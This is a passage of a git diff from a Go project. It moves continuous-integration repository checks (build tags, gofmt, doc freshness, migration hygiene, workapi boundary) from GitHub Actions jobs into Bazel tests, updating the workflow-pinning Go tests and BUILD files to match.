shared contract. - local banned='config\.GetDirectoryLabels|os\.Getenv' - - if [[ ! -d internal/workapi ]]; then - printf 'internal/workapi does not exist; skipping frontend-boundary check.\n' - return 0 - fi - - if grep -rnE "$banned" internal/workapi --include='*.go'; then - cat >&2 <<'EOF' - -internal/workapi must not read cwd- or environment-derived state. - -Those reads describe the client's process, which a server process does not -share. Resolve them in the frontend and pass the result in as a parameter. -See internal/workapi/doc.go. -EOF - return 1 - fi - - printf 'No banned cwd/env accessors in internal/workapi.\n' -} - build_docs_binary() { tmpdir="$(mktemp -d)" local build @@ -111,7 +82,7 @@ ci_time "build bd for docs checks" -- build_docs_binary ci_time "check doc flags" -- ./scripts/check-doc-flags.sh "$tmpdir/bd" ci_time "check doc freshness" -- ./scripts/check-doc-freshness.sh ci_time "check testing.Short boundaries" -- ./scripts/check-testing-short.sh -ci_time "check workapi frontend boundary" -- check_workapi_frontend_boundary +ci_time "check workapi frontend boundary" -- ./scripts/check-workapi-frontend-boundary.sh ci_time "check no .beads/issues.jsonl changes" -- check_no_beads_jsonl_changes # The OpenAPI drift gate belongs to a REQUIRED PR job. The Main workflow is # perpetually concurrency-cancelled, so a gate that only ran there would be diff --git a/scripts/ci_blacksmith_runner_test.go b/scripts/ci_blacksmith_runner_test.go index 651f41499..fb7ed17f8 100644 --- a/scripts/ci_blacksmith_runner_test.go +++ b/scripts/ci_blacksmith_runner_test.go @@ -34,7 +34,7 @@ import ( const sameRepoBlacksmith2vcpu = "${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }}" // F7a: the same same-repo expression at 4 vCPU and 8 vCPU, for jobs sized -// larger than the 2 vCPU default (check-doc-flags, pr-policy-wrapper, +// larger than the 2 vCPU default (check-doc-flags, // pr-risk.yml's test-nix at 4 vCPU; check-release-target-cross-compilation at // 8 vCPU). F7c's advisory workflows also use the 4 vCPU size. const sameRepoBlacksmith4vcpu = "${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-latest' }}" diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index fcd7006e2..59bca0ca0 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -36,7 +36,23 @@ func TestCIWorkflowArtifactOwnership(t *testing.T) { } } - assertJobRunsExactly(t, workflow.job(t, "pr-policy-wrapper"), "make ci-pr-policy") + // pr.yml's PR Policy job is retired: its checks are Bazel tests + // (TestPRPolicyChecksRunAsBazelTargets). main.yml keeps its own + // copy until main.yml's legacy jobs go. + if workflowName == "pr.yml" { + if _, found := workflow.Jobs["pr-policy-wrapper"]; found { + t.Errorf("pr.yml has a pr-policy-wrapper job; its checks run as Bazel tests") + } + for name, job := range workflow.Jobs { + for _, step := range job.Steps { + if strings.Contains(step.Run, "make ci-pr-policy") { + t.Errorf("pr.yml job %s step %q runs make ci-pr-policy; its checks run as Bazel tests", name, step.Name) + } + } + } + } else { + assertJobRunsExactly(t, workflow.job(t, "pr-policy-wrapper"), "make ci-pr-policy") + } assertJobRunsExactly(t, workflow.job(t, "pr-lint-wrapper"), "make ci-pr-lint") // F5.1: the duplicate whole-tree/diff-scoped `Lint` job (and its @@ -132,25 +148,29 @@ func TestPRCIGateRequiresPolicyAndLintWrappers(t *testing.T) { gate := readCIWorkflow(t, "pr.yml").job(t, "ci-gate") gateEnv := gate.step(t, "Evaluate CI gate").Env - for _, job := range []string{"pr-policy-wrapper", "pr-lint-wrapper"} { - if !contains(gate.Needs, job) { - t.Errorf("ci-gate needs %q: %v", job, gate.Needs) - } + if !contains(gate.Needs, "pr-lint-wrapper") { + t.Errorf("ci-gate needs %q: %v", "pr-lint-wrapper", gate.Needs) + } + if got, want := gateEnv["PR_LINT_WRAPPER"], "${{ needs.pr-lint-wrapper.result }}"; got != want { + t.Errorf("ci-gate env PR_LINT_WRAPPER = %q, want %q", got, want) + } + if !strings.Contains(gateEnv["CI_GATE_REQUIRED"], "PR_LINT_WRAPPER") { + t.Errorf("ci-gate CI_GATE_REQUIRED does not include %q", "PR_LINT_WRAPPER") } - for key, want := range map[string]string{ - "PR_POLICY_WRAPPER": "${{ needs.pr-policy-wrapper.result }}", - "PR_LINT_WRAPPER": "${{ needs.pr-lint-wrapper.result }}", - } { - if got := gateEnv[key]; got != want { - t.Errorf("ci-gate env %s = %q, want %q", key, got, want) - } + // The retired PR Policy job's checks gate through BAZEL_TEST (the Bazel + // `test` lane), so its token must not linger. + if contains(gate.Needs, "pr-policy-wrapper") { + t.Errorf("ci-gate needs the retired pr-policy-wrapper: %v", gate.Needs) } - - for _, required := range []string{"PR_POLICY_WRAPPER", "PR_LINT_WRAPPER"} { - if !strings.Contains(gateEnv["CI_GATE_REQUIRED"], required) { - t.Errorf("ci-gate CI_GATE_REQUIRED does not include %q", required) - } + if _, found := gateEnv["PR_POLICY_WRAPPER"]; found { + t.Errorf("ci-gate env still sets PR_POLICY_WRAPPER") + } + if contains(strings.Fields(gateEnv["CI_GATE_REQUIRED"]), "PR_POLICY_WRAPPER") { + t.Errorf("ci-gate CI_GATE_REQUIRED still lists PR_POLICY_WRAPPER") + } + if !contains(strings.Fields(gateEnv["CI_GATE_REQUIRED"]), "BAZEL_TEST") { + t.Errorf("ci-gate CI_GATE_REQUIRED does not include BAZEL_TEST, the lane that now runs the policy checks") } // F5.1/F5.4: the deleted `lint` job's LINT id must not linger in the gate. @@ -1221,17 +1241,17 @@ func TestRepositoryTextEOLPolicyWorkflow(t *testing.T) { if want := sameRepoPlatformsMatrixMarkerRunsOn; job.RunsOn != want { t.Errorf("check-doc-freshness-platforms runs-on = %q, want %q", job.RunsOn, want) } + // The Linux leg runs in Bazel (TestDocFreshnessLinuxLegRunsInBazel); + // macOS and Windows have no remote workers and stay here. wantMatrix := map[string]string{ - "ubuntu-latest": "linux", "macos-latest": "darwin", "windows-latest": "windows", } // F7b: each host's include tuple also carries a "runner" marker - // (same-repo-linux/-macos/-windows) that sameRepoPlatformsMatrixMarkerRunsOn + // (same-repo-macos/-windows) that sameRepoPlatformsMatrixMarkerRunsOn // resolves against; check it matches the host instead of treating it as an // unexpected field. wantRunnerMarker := map[string]string{ - "ubuntu-latest": "same-repo-linux", "macos-latest": "same-repo-macos", "windows-latest": "same-repo-windows", } @@ -2988,7 +3008,6 @@ func TestSameRepoBlacksmithRunners(t *testing.T) { "fast-checks": sameRepoBlacksmith2vcpu, "advisory-reports": sameRepoBlacksmith2vcpu, "check-doc-flags": sameRepoBlacksmith4vcpu, - "pr-policy-wrapper": sameRepoBlacksmith4vcpu, "check-release-target-cross-compilation": sameRepoBlacksmith8vcpu, "windows-test-binaries": sameRepoBlacksmith8vcpu, // F7b: scripts-go-checks/pr-lint-wrapper moved to same-repo @@ -3174,14 +3193,14 @@ func TestBlacksmithJobsReadNoSecrets(t *testing.T) { // Actions expression evaluator instead of a hand-written Go mirror // (review SF-3). That file is shared with F7c. -// TestPRCIGateFastChecksTokens pins pr.yml's F7a fold of five formerly -// standalone jobs (check-build-tags, check-version-consistency, -// check-migration-hygiene, check-no-beads-changes, fmt-check) into -// fast-checks' five steps: each step's id, its outputs entry, and the -// CI_GATE_REQUIRED token/env mapping that lets ci-gate still red the exact -// same token a failing check reddened before the fold. It also pins the -// FAST_CHECKS backstop token (the job's own .result), which gives ci-gate.sh -// one clear line if the whole job is lost before any step reports. +// TestPRCIGateFastChecksTokens pins pr.yml's fast-checks job, the base-diff +// checks no Bazel target can hold (check-migration-hygiene.sh's delta half +// and the .beads/issues.jsonl guard): each step's id, its outputs entry, and +// the CI_GATE_REQUIRED token/env mapping, plus the FAST_CHECKS backstop +// token (the job's own .result), which gives ci-gate.sh one clear line if the +// whole job is lost before any step reports. The job's former tree checks +// are Bazel tests (TestPRPolicyChecksRunAsBazelTargets); their tokens must +// not linger. func TestPRCIGateFastChecksTokens(t *testing.T) { pr := readCIWorkflow(t, "pr.yml") job := pr.job(t, "fast-checks") @@ -3196,23 +3215,22 @@ func TestPRCIGateFastChecksTokens(t *testing.T) { t.Errorf("ci-gate does not require fast-checks' own result as the FAST_CHECKS backstop: required=%v env=%q", required, gateStep.Env["FAST_CHECKS"]) } - // stepID -> (job output name, CI_GATE_REQUIRED token). - mapping := map[string]struct{ output, token string }{ - "build-tags": {"build-tags", "CHECK_BUILD_TAGS"}, - "version-consistency": {"version-consistency", "CHECK_VERSION_CONSISTENCY"}, - "migration-hygiene": {"migration-hygiene", "CHECK_MIGRATION_HYGIENE"}, - "no-beads-changes": {"no-beads-changes", "CHECK_NO_BEADS_CHANGES"}, - "fmt": {"fmt", "FMT_CHECK"}, + // stepID -> (step name, job output name, CI_GATE_REQUIRED token). + mapping := map[string]struct{ name, output, token string }{ + "migration-hygiene": {"Run migration hygiene checks", "migration-hygiene", "CHECK_MIGRATION_HYGIENE"}, + "no-beads-changes": {"Check for .beads/issues.jsonl changes", "no-beads-changes", "CHECK_NO_BEADS_CHANGES"}, + } + if len(job.Steps) != len(mapping)+1 { + t.Errorf("fast-checks has %d steps, want checkout plus %d: a tree-only check belongs in a Bazel target", len(job.Steps), len(mapping)) + } + if len(job.Outputs) != len(mapping) { + t.Errorf("fast-checks outputs = %v, want exactly %d", job.Outputs, len(mapping)) } for stepID, m := range mapping { - step := job.step(t, map[string]string{ - "build-tags": "Check build-tag policy", "version-consistency": "Check all versions match", - "migration-hygiene": "Run migration hygiene checks", "no-beads-changes": "Check for .beads/issues.jsonl changes", - "fmt": "Check gofmt", - }[stepID]) - // Every step runs on both PR triggers, merge_group included (the - // .beads diff takes merge_group.base_sha there), so the gate - // excuses none of their skips. + step := job.step(t, m.name) + // Both steps run on both PR triggers, merge_group included (the + // diffs take merge_group.base_sha there), so the gate excuses none + // of their skips. wantIf := "${{ !cancelled() }}" if step.ID != stepID || step.If != wantIf { t.Errorf("fast-checks step %q: id %q, if %q; want id %q, if %q", step.Name, step.ID, step.If, stepID, wantIf) @@ -3229,6 +3247,11 @@ func TestPRCIGateFastChecksTokens(t *testing.T) { t.Errorf("ci-gate env %s = %q, want %q", m.token, gateStep.Env[m.token], wantEnv) } } + for _, retired := range []string{"CHECK_BUILD_TAGS", "CHECK_VERSION_CONSISTENCY", "FMT_CHECK"} { + if contains(required, retired) || gateStep.Env[retired] != "" { + t.Errorf("ci-gate still carries %s; that check is a Bazel test now", retired) + } + } // Merge queue: the .beads guard runs on merge_group too, diffing // against the queue's base commit (a merge group has no base_ref), and // the gate no longer excuses its skip there. @@ -3242,25 +3265,87 @@ func TestPRCIGateFastChecksTokens(t *testing.T) { t.Error("ci-gate run script excuses a CHECK_NO_BEADS_CHANGES skip; the guard runs on merge_group too") } - // Review N-6 (2026-10-03): pin the folded steps' actual commands/env, not - // just their id/if/output/token wiring. These three gaps predate F7a (the - // standalone jobs were never pinned either), but fast-checks is now one - // job, so the cost of covering them here is marginal. - buildTags := job.step(t, "Check build-tag policy") - for _, want := range []string{ - "./scripts/check-build-tags.sh", - "./scripts/check-go-install-guidance.sh", - "./scripts/check-winget-portable-alias.sh", - } { - if !strings.Contains(buildTags.Run, want) { - t.Errorf("fast-checks build-tags step run does not call %s:\n%s", want, buildTags.Run) - } - } + // The migration step runs only the delta half (checks C, D and E) of + // check-migration-hygiene.sh against the PR's base; the tree half is + // //scripts/repochecks:migration_hygiene_test. migrationHygiene := job.step(t, "Run migration hygiene checks") const wantBaseSHA = "${{ github.event.pull_request.base.sha || github.event.merge_group.base_sha }}" if migrationHygiene.Env["BASE_SHA"] != wantBaseSHA { t.Errorf("fast-checks migration-hygiene step env BASE_SHA = %q, want %q", migrationHygiene.Env["BASE_SHA"], wantBaseSHA) } + if migrationHygiene.Env["MIGRATION_HYGIENE_SCOPE"] != "delta" { + t.Errorf("fast-checks migration-hygiene step MIGRATION_HYGIENE_SCOPE = %q, want delta", migrationHygiene.Env["MIGRATION_HYGIENE_SCOPE"]) + } + if migrationHygiene.Run != "./scripts/check-migration-hygiene.sh" { + t.Errorf("fast-checks migration-hygiene step run = %q", migrationHygiene.Run) + } +} + +// TestPRPolicyChecksRunAsBazelTargets: every repository guard pr.yml's +// fast-checks, PR Policy and doc-freshness jobs used to run on a GitHub +// runner is a Bazel test (ga-96smfk.20), with no tag, so bazel.yml's `test` +// lane (--config=ci, remote) runs it and CI Gate / Required gates on it, or, +// for the integration-tagged doc-freshness suite, the integration lane. +func TestPRPolicyChecksRunAsBazelTargets(t *testing.T) { + root := bazelPolicyRoot(t) + for _, c := range []struct { + build, target, runs string + tags string + }{ + {"scripts/repochecks/BUILD.bazel", "build_tags_test", `"scripts/check-build-tags.sh"`, ""}, + {"scripts/repochecks/BUILD.bazel", "workflow_tags_test", `"$(rlocationpath //scripts/checkworkflowtags)"`, ""}, + {"scripts/repochecks/BUILD.bazel", "go_install_guidance_test", `"scripts/check-go-install-guidance.sh"`, ""}, + {"scripts/repochecks/BUILD.bazel", "winget_portable_alias_test", `"scripts/check-winget-portable-alias.sh"`, ""}, + {"scripts/repochecks/BUILD.bazel", "migration_hygiene_test", `"MIGRATION_HYGIENE_SCOPE": "tree"`, ""}, + {"scripts/repochecks/BUILD.bazel", "fmt_test", `"scripts/ci/fmt-check.sh"`, ""}, + {"scripts/repochecks/BUILD.bazel", "doc_freshness_test", `"scripts/check-doc-freshness.sh"`, ""}, + {"scripts/repochecks/BUILD.bazel", "workapi_frontend_boundary_test", `"scripts/check-workapi-frontend-boundary.sh"`, ""}, + {"scripts/repochecks/BUILD.bazel", "types_gen_drift_test", `"types_gen_drift_test.sh"`, ""}, + {"internal/versioncheck/BUILD.bazel", "versioncheck_test", `"//:release_metadata_files"`, ""}, + {"scripts/BUILD.bazel", "scripts_test", `"check_testing_short_test.go"`, ""}, + {"scripts/BUILD.bazel", "doc_freshness_required_test", `"-required-suite=doc-freshness"`, `["integration-only"]`}, + {"scripts/gitattributespolicy/BUILD.bazel", "gitattributespolicy_required_host_test", `"-required-host"`, ""}, + } { + var rule string + for _, r := range bazelTopRules(readPolicyFile(t, root, c.build)) { + if strings.Contains(r, "\n name = \""+c.target+"\",\n") { + rule = r + } + } + if rule == "" { + t.Errorf("%s: no target %s", c.build, c.target) + continue + } + if !strings.Contains(rule, c.runs) { + t.Errorf("%s:%s no longer names %s", c.build, c.target, c.runs) + } + tags := regexp.MustCompile(`(?m)^ tags = (\[.*\]),$`).FindStringSubmatch(rule) + switch { + case c.tags == "" && tags != nil: + t.Errorf("%s:%s is tagged %s; untagged, it runs in the test lane", c.build, c.target, tags[1]) + case c.tags != "" && (tags == nil || tags[1] != c.tags): + t.Errorf("%s:%s tags = %v, want %s", c.build, c.target, tags, c.tags) + } + } + pr := readCIWorkflow(t, "pr.yml") + for name, job := range pr.Jobs { + for _, step := range job.Steps { + for _, moved := range []string{ + "check-build-tags.sh", "check-go-install-guidance.sh", "check-winget-portable-alias.sh", + "check-versions.sh", "make fmt-check", "check-doc-freshness.sh", "make ci-pr-policy", "make api-check", + } { + if strings.Contains(step.Run, moved) { + t.Errorf("pr.yml job %s step %q still runs %s, which is a Bazel test", name, step.Name, moved) + } + } + } + } + freshness := pr.job(t, "check-doc-freshness-platforms") + for _, tuple := range freshness.Strategy.Matrix.Include { + if tuple.ExpectedGOOS == "linux" { + t.Errorf("check-doc-freshness-platforms still has a Linux leg (%s); Bazel runs it", tuple.OS) + } + } } // Review N-6 (2026-10-03): test-windows-small's dbproxy-server leg must keep @@ -4722,7 +4807,7 @@ func TestBazelIntegrationJob(t *testing.T) { } assertTestStepKeepsExitStatus(t, test) count := job.step(t, "Every target and shard ran tests") - const wantCount = `python3 tools/bazel/check_testcases.py --bep "$RUNNER_TEMP/bazel-bep.json" --not-go //tools/bazel:dolt_version_test` + const wantCount = `python3 tools/bazel/check_testcases.py --bep "$RUNNER_TEMP/bazel-bep.json" --not-go //tools/bazel:dolt_version_test --not-go //scripts/repochecks:all` if strings.TrimSpace(count.Run) != wantCount || count.If != "${{ always() && steps.test.outcome != 'skipped' }}" || (count.ContinueOnError != nil && count.ContinueOnError != false) { diff --git a/scripts/gitattributespolicy/BUILD.bazel b/scripts/gitattributespolicy/BUILD.bazel index cfe8b8098..c41371b52 100644 --- a/scripts/gitattributespolicy/BUILD.bazel +++ b/scripts/gitattributespolicy/BUILD.bazel @@ -10,6 +10,26 @@ go_test( data = ["//:.gitattributes"], ) +# pr.yml's check-doc-freshness-platforms Linux leg: `go test +# -tags integration ./scripts/gitattributespolicy -args -required-host +# -expected-goos linux` (the macOS and Windows legs stay in pr.yml): TestMain +# fails unless the EOL boundary test ran exactly once and passed on a Linux +# host. No file here is integration-tagged, so it runs in the ci lane. +go_test( + name = "gitattributespolicy_required_host_test", + srcs = [ + "git_boundary_test.go", + "gitattributes_policy_test.go", + "required_host_test.go", + ], + args = [ + "-required-host", + "-expected-goos", + "linux", + ], + data = ["//:.gitattributes"], +) + # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( diff --git a/scripts/pr_preflight_test.go b/scripts/pr_preflight_test.go index a49dd6c5f..1d5a9354b 100644 --- a/scripts/pr_preflight_test.go +++ b/scripts/pr_preflight_test.go @@ -3,7 +3,6 @@ package scripts_test import ( - "errors" "os" "os/exec" "path/filepath" @@ -766,14 +765,3 @@ func requireFlagValue(t *testing.T, args []string, flag string) string { t.Fatalf("missing %s value in %q", flag, args) return "" } - -func exitCode(err error) int { - if err == nil { - return 0 - } - var exitErr *exec.ExitError - if errors.As(err, &exitErr) { - return exitErr.ExitCode() - } - return -1 -} diff --git a/scripts/pr_risk_bazel_coverage_test.go b/scripts/pr_risk_bazel_coverage_test.go index 291ae121e..200dfc7d8 100644 --- a/scripts/pr_risk_bazel_coverage_test.go +++ b/scripts/pr_risk_bazel_coverage_test.go @@ -1819,6 +1819,18 @@ func TestBazelRetiredLanesCannotBeNarrowed(t *testing.T) { // pinned ones above, and no .bzl macro, may select, skip or switch off // tests through its args, env or anything else. ruleNarrow := regexp.MustCompile(`-test\.(short|run|skip|list|bench)|BEADS_TEST_SKIP|BEADS_TEST_EMBEDDED_DOLT|TESTBRIDGE_TEST_ONLY|test_filter|flaky\s*=\s*(True|1|[A-Za-z_])`) + // Second runs over tests another target already runs in full: the + // selection is the point (a required-suite contract that checks it), and + // nothing leaves the lanes. Pinned to exactly these args. + extraRunVariants := map[string][]string{ + // The doc-freshness suite (also run by //scripts:scripts_test) under + // -required-suite, as pr.yml's former Linux doc-freshness leg ran it. + "//scripts:doc_freshness_required_test": { + "-test.count=1", + "-test.run=^(TestDocFreshness.*|TestRequiredSuiteContract)$$", + "-required-suite=doc-freshness", + }, + } err = filepath.WalkDir(root, func(path string, d os.DirEntry, err error) error { if err != nil { return err @@ -1849,7 +1861,18 @@ func TestBazelRetiredLanesCannotBeNarrowed(t *testing.T) { for _, unit := range units { if !isBzl { if name := nameRe.FindStringSubmatch(unit); name != nil { - if _, pinned := want["//"+pkg+":"+name[1]]; pinned { + label := "//" + pkg + ":" + name[1] + if _, pinned := want[label]; pinned { + continue + } + if wantArgs, ok := extraRunVariants[label]; ok { + var args []string + for _, q := range quoted.FindAllStringSubmatch(bazelAttrBlock(unit, "args"), -1) { + args = append(args, q[1]) + } + if !reflect.DeepEqual(args, wantArgs) { + t.Errorf("%s args = %q, want exactly %q", label, args, wantArgs) + } continue } } diff --git a/scripts/release_script_test.go b/scripts/release_script_test.go index a4d7442a4..378f8c51a 100644 --- a/scripts/release_script_test.go +++ b/scripts/release_script_test.go @@ -218,17 +218,6 @@ func releaseFormulaPath(t *testing.T) string { return filepath.Join(sourceRepoRoot(t), ".beads", "formulas", "beads-release.formula.toml") } -func sourceRepoRoot(t *testing.T) string { - t.Helper() - _, file, _, ok := runtime.Caller(0) - if !ok { - t.Fatal("runtime.Caller failed") - } - // Under Bazel the caller path is workspace-relative; CallerDir rebuilds it - // under the runfiles root, which holds the files scripts_test declares. - return filepath.Dir(bazeltest.CallerDir(file, "scripts")) -} - func runReleaseDryRun(t *testing.T, repo, bin string) (string, error) { t.Helper() return runReleaseDryRunWithEnv(t, repo, bin, "BD=") @@ -259,15 +248,6 @@ func runReleaseDryRunWithEnv(t *testing.T, repo, bin string, extraEnv ...string) return string(out), err } -func msysPath(path string) string { - path = filepath.Clean(path) - path = filepath.ToSlash(path) - if len(path) >= 3 && path[1] == ':' && path[2] == '/' { - return "/" + strings.ToLower(path[:1]) + path[2:] - } - return path -} - func shellPath(t *testing.T, path string) string { t.Helper() clean := filepath.Clean(path) diff --git a/scripts/repo_helpers_test.go b/scripts/repo_helpers_test.go new file mode 100644 index 000000000..c44695897 --- /dev/null +++ b/scripts/repo_helpers_test.go @@ -0,0 +1,47 @@ +package scripts_test + +// Helpers shared by the package's test files, kept apart so a focused +// go_test over a few of them (//scripts:doc_freshness_required_test) compiles +// without the rest of the package. + +import ( + "errors" + "os/exec" + "path/filepath" + "runtime" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/testutil/bazeltest" +) + +func sourceRepoRoot(t *testing.T) string { + t.Helper() + _, file, _, ok := runtime.Caller(0) + if !ok { + t.Fatal("runtime.Caller failed") + } + // Under Bazel the caller path is workspace-relative; CallerDir rebuilds it + // under the runfiles root, which holds the files scripts_test declares. + return filepath.Dir(bazeltest.CallerDir(file, "scripts")) +} + +func msysPath(path string) string { + path = filepath.Clean(path) + path = filepath.ToSlash(path) + if len(path) >= 3 && path[1] == ':' && path[2] == '/' { + return "/" + strings.ToLower(path[:1]) + path[2:] + } + return path +} + +func exitCode(err error) int { + if err == nil { + return 0 + } + var exitErr *exec.ExitError + if errors.As(err, &exitErr) { + return exitErr.ExitCode() + } + return -1 +} diff --git a/scripts/repochecks/BUILD.bazel b/scripts/repochecks/BUILD.bazel new file mode 100644 index 000000000..180425feb --- /dev/null +++ b/scripts/repochecks/BUILD.bazel @@ -0,0 +1,353 @@ +load("@rules_shell//shell:sh_test.bzl", "sh_test") +load("//tools/bazel:repo_subset.bzl", "repo_subset") + +# Repository guards that pr.yml's fast-checks and PR Policy jobs ran with +# `./scripts/check-*.sh` on a full checkout, as Bazel tests over exactly the +# files each guard reads (tools/bazel/repo_subset.bzl), so a cached pass is +# reused until one of those files changes. run_check.sh lays each slice out as +# a throwaway git checkout (the guards use git ls-files / git grep) and runs +# the guard from its root. No tags: they run in bazel.yml's `test` lane +# (--config=ci), remotely, and gate through CI Gate / Required. None of them +# is a Go test binary, so every target here is exempt from +# tools/bazel/check_testcases.py's Go testcase count (--not-go +# //scripts/repochecks:all in bazel.yml's integration lane). +# +# What each slice holds must cover what its guard reads: a renamed input fails +# the build (repo_subset rejects a pattern that matches nothing), and a guard +# over a slice missing a file it names fails rather than passing (e.g. +# check-doc-freshness.sh's "missing document" / "path does not exist"). + +# run_check.sh and repo_subset themselves: include and exclude patterns, the +# checkout layout and --env (testdata/assert_tree.sh says what it expects). +repo_subset( + name = "run_check_fixture", + srcs = ["//:repo_files"], + include = [ + "scripts/repochecks/testdata/*.txt", + "scripts/repochecks/testdata/assert_tree.sh", + "scripts/repochecks/testdata/sub/**", + ], + exclude = ["scripts/repochecks/testdata/sub/deep/**"], +) + +sh_test( + name = "run_check_test", + srcs = ["run_check.sh"], + args = [ + "--tree", + "$(rlocationpath :run_check_fixture)", + "--env", + "PROBE=$(rlocationpath testdata/a.txt)", + "--", + "scripts/repochecks/testdata/assert_tree.sh", + ], + data = [ + "testdata/a.txt", + ":run_check_fixture", + ], +) + +# check-build-tags.sh: every `go build|test|run|generate|install` in a shell +# script, hook or the Makefile builds with gms_pure_go, and every Bazel user +# (incl. the workflows) is covered by .bazelrc's tag. Its git ls-files +# pathspecs, as a slice. +repo_subset( + name = "build_tags_files", + srcs = ["//:repo_files"], + include = [ + "**/*.sh", + ".bazelrc", + ".github/scripts/**", + ".github/workflows/*.yml", + ".githooks/**", + "Makefile", + ], +) + +sh_test( + name = "build_tags_test", + srcs = ["run_check.sh"], + args = [ + "--tree", + "$(rlocationpath :build_tags_files)", + "--", + "scripts/check-build-tags.sh", + ], + data = [":build_tags_files"], +) + +repo_subset( + name = "workflow_files", + srcs = ["//:repo_files"], + include = [".github/workflows/*.yml"], +) + +# scripts/checkworkflowtags (`go run ./scripts/checkworkflowtags` in +# scripts/ci/pr-policy.sh): the workflows' direct go commands declare +# gms_pure_go. +sh_test( + name = "workflow_tags_test", + srcs = ["run_check.sh"], + args = [ + "--tree", + "$(rlocationpath :workflow_files)", + "--", + "$(rlocationpath //scripts/checkworkflowtags)", + ], + data = [ + ":workflow_files", + "//scripts/checkworkflowtags", + ], +) + +# check-go-install-guidance.sh `git grep`s every tracked file, so its slice is +# the whole checkout: //:repo_files plus the one tracked file under the +# .bazelignore'd .beads/. +repo_subset( + name = "all_files", + srcs = ["//:repo_files"], + include = ["**/*"], +) + +repo_subset( + name = "beads_formula_files", + srcs = ["@beads_formulas//:beads-release.formula.toml"], + include = ["beads-release.formula.toml"], + tree_prefix = ".beads/formulas/", +) + +sh_test( + name = "go_install_guidance_test", + srcs = ["run_check.sh"], + args = [ + "--tree", + "$(rlocationpath :all_files)", + "--tree", + "$(rlocationpath :beads_formula_files)", + "--", + "scripts/check-go-install-guidance.sh", + ], + data = [ + ":all_files", + ":beads_formula_files", + ], +) + +repo_subset( + name = "winget_files", + srcs = ["//:repo_files"], + include = [ + "scripts/check-winget-portable-alias.sh", + "winget/*.installer.yaml", + ], +) + +# check-winget-portable-alias.sh: every nested-portable winget installer +# carries PortableCommandAlias: bd (GH#4908). yq comes from the executor, as +# for //scripts:scripts_test. +sh_test( + name = "winget_portable_alias_test", + srcs = ["run_check.sh"], + args = [ + "--tree", + "$(rlocationpath :winget_files)", + "--", + "scripts/check-winget-portable-alias.sh", + ], + data = [":winget_files"], +) + +repo_subset( + name = "migration_files", + srcs = ["//:repo_files"], + include = [ + "internal/storage/schema/migrations/**", + "scripts/check-migration-hygiene.sh", + ], +) + +# check-migration-hygiene.sh's tree half (checks A and B: duplicate versions, +# nondeterministic SQL and its allowlist). The delta half (C, D and E, which +# diff against the PR's base) stays in pr.yml's pr-diff-checks job. +sh_test( + name = "migration_hygiene_test", + srcs = ["run_check.sh"], + args = [ + "--tree", + "$(rlocationpath :migration_files)", + "--", + "scripts/check-migration-hygiene.sh", + ], + data = [":migration_files"], + env = {"MIGRATION_HYGIENE_SCOPE": "tree"}, +) + +repo_subset( + name = "go_files", + srcs = ["//:repo_files"], + include = [ + "**/*.go", + "scripts/ci/fmt-check.sh", + "scripts/ci/gofmt-bin.sh", + ], +) + +# `make fmt-check` (scripts/ci/fmt-check.sh): gofmt -l over every Go file, +# with the registered SDK's gofmt (go.mod's toolchain; the policy tests pin +# the two together), which is what gofmt-bin.sh resolves from go.mod. +sh_test( + name = "fmt_test", + srcs = ["run_check.sh"], + args = [ + "--tree", + "$(rlocationpath :go_files)", + "--env", + "GOFMT=$(rlocationpath @go_sdk//:bin/gofmt)", + "--", + "scripts/ci/fmt-check.sh", + ], + data = [ + ":go_files", + "@go_sdk//:bin/gofmt", + ], +) + +# check-doc-freshness.sh: the reference docs it lists, DOC_INVENTORY.md, and +# each doc's freshness sources, whose existence it checks (a Bazel package's +# BUILD.bazel stands in for a directory source). Keep in step with its DOCS +# list; a doc or source missing here fails the test. +# +# The guard compares Last reviewed markers with today's date, which is not in +# the action key: a cached pass stands until one of these files changes, and +# nightly (--config=fresh) re-runs it against the date. +repo_subset( + name = "doc_freshness_files", + srcs = ["//:repo_files"], + include = [ + ".buildflags", + ".github/workflows/main.yml", + ".github/workflows/pr.yml", + ".golangci.yml", + "Makefile", + "cmd/bd/ado*.go", + "cmd/bd/config.go", + "cmd/bd/dolt.go", + "cmd/bd/errors.go", + "cmd/bd/find_duplicates.go", + "cmd/bd/init.go", + "cmd/bd/init_safety.go", + "cmd/bd/init_safety_help.go", + "cmd/bd/init_safety_test.go", + "cmd/bd/main.go", + "cmd/bd/output.go", + "cmd/bd/protocol/json_contract_test.go", + "cmd/bd/serve.go", + "cmd/bd/setup*.go", + "docs/getting-started/ide-setup.md", + "docs/integrations/azure-devops.md", + "docs/recovery/init-safety.md", + "docs/reference/configuration.md", + "docs/reference/json-schema.md", + "engdocs/CI_CLEANUP_PLAN.md", + "engdocs/CI_TEST_SURFACE_AUDIT.md", + "engdocs/DOC_INVENTORY.md", + "engdocs/ERROR_HANDLING.md", + "engdocs/LINTING.md", + "engdocs/SERVE_RUNBOOK.md", + "engdocs/design/otel/otel-data-model.md", + "internal/ado/BUILD.bazel", + "internal/compact/haiku.go", + "internal/configfile/BUILD.bazel", + "internal/hooks/BUILD.bazel", + "internal/httpapi/auth.go", + "internal/httpapi/events_watch.go", + "internal/httpapi/server.go", + "internal/recipes/BUILD.bazel", + "internal/storage/dolt/store.go", + "internal/telemetry/BUILD.bazel", + "scripts/check-doc-freshness.sh", + "scripts/ci/pr-lint.sh", + "scripts/pr-lint/BUILD.bazel", + ], +) + +sh_test( + name = "doc_freshness_test", + srcs = ["run_check.sh"], + args = [ + "--tree", + "$(rlocationpath :doc_freshness_files)", + "--", + "scripts/check-doc-freshness.sh", + ], + data = [":doc_freshness_files"], +) + +repo_subset( + name = "workapi_files", + srcs = ["//:repo_files"], + include = [ + "internal/workapi/**", + "scripts/check-workapi-frontend-boundary.sh", + ], +) + +# check-workapi-frontend-boundary.sh: internal/workapi reads no cwd- or +# environment-derived state (the symbol half of the depguard rule). +sh_test( + name = "workapi_frontend_boundary_test", + srcs = ["run_check.sh"], + args = [ + 